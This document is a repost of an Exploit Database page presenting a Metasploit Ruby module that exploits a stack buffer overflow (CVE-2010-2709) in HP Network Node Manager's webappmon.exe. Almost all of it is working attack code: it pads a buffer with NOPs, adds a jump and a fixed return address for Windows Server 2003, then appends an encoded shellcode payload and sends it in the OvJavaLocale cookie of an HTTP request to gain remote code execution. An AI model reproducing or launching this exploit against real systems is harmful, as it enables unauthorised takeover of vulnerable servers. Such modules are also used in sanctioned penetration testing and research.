HP Network Node Manager (NMM) – CGI ‘webappmon.exe OvJavaLocale’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2011-03-23
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17029/

• ##
  # $Id: hp_nnm_webappmon_ovjavalocale.rb 12087 2011-03-23 03:39:12Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name'=> "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow",
  			'Description' => %q{
  				This module exploits a stack-based overflow in HP NNM's webappmon.exe.
  				The vulnerability occurs when a long string of data is sent as OvJavaLocale's
  				cookie value, OvWww.dll fails to properly do any bounds checking before this
  				input is parsed in function OvWwwDebug(), which causes an overflow when
  				sprintf_new() is called.
  			'},
  			'License'	=> MSF_LICENSE,
  			'Version'	=> "$Revision: 12087 $",
  			'Author'=>
  				[
  					'Nahuel Riva',
  					'sinn3r'
  				],
  			'References' =>
  				[
  					['CVE', '2010-2709'],
  					['OSVDB', '66932'],
  					['OSVDB', 'http://www.coresecurity.com/content/hp-nnm-ovjavalocale-buffer-overflow'],
  				],
  			'Payload'	 =>
  				{
  					'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f",
  					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
  					'EncoderOptions' => { "BufferRegister"=>"ECX"}
  				},
  			'DefaultOptions' =>
  				{
  					'ExitFunction' => "seh",
  					"AutoRunScript" => "migrate -f",
  				},
  			'Platform' => 'win',
  			'Targets'	 =>
  				[
  					[ 'Windows Server 2003 Enterprise', {'Ret'=>0x5A30532D} ],
  				],
  			'Privileged'	=> false,
  			'DisclosureDate' => "Aug 3 2010"))
  
  			register_options(
  				[
  					Opt::RPORT(80),
  				], self.class)
  	end
  
  	def exploit
  
  		nops = make_nops(1000)*10
  
  		sploit= nops[0, 7044]				#Padding
  		sploit << "\x74\x20\x42\x42"		#JE jump 0x20 bytes
  		sploit << [target.ret].pack('V')	#POP/POP/RET
  		sploit << nops[0, 26]				#Padding
  		sploit << "\x61"*13					#POPAD x 13
  		sploit << "\x51"					#PUSH ECX
  		sploit << "\xc3"					#RETN
  		sploit << nops[0, 31]				#Padding
  		sploit << payload.encoded			#Payload
  		sploit << nops[0, 10000-sploit.length]
  
  		connect
  
  		print_status("Sending malicious request...")
  		send_request_raw({
  			"uri" => "/OvCgi/webappmon.exe",
  			"data"=> "ins=nowait&sel=A&appB=&actC=&arg=&help=&cache=1600",
  			"version" => "1.1",
  			"method"=> "GET",
  			"headers" => {
  				"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  				"Accept-Language" => "en-us,en;q=0.5",
  				"Accept-Encoding" => "gzip,deflate",
  				"Accept-Charset" => "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
  				"Keep-Alive" => "300",
  				"Connection" => "keep-alive",
  				"Cookie" => "OvJavaLocale=#{sploit}.Cp1252;OvWebSession=14150:AnyUser%3a",
  				"Cache-Control" => "max-age=0"
  			}
  		}, 2)
  
  		handler
  		disconnect
  
  	end
  end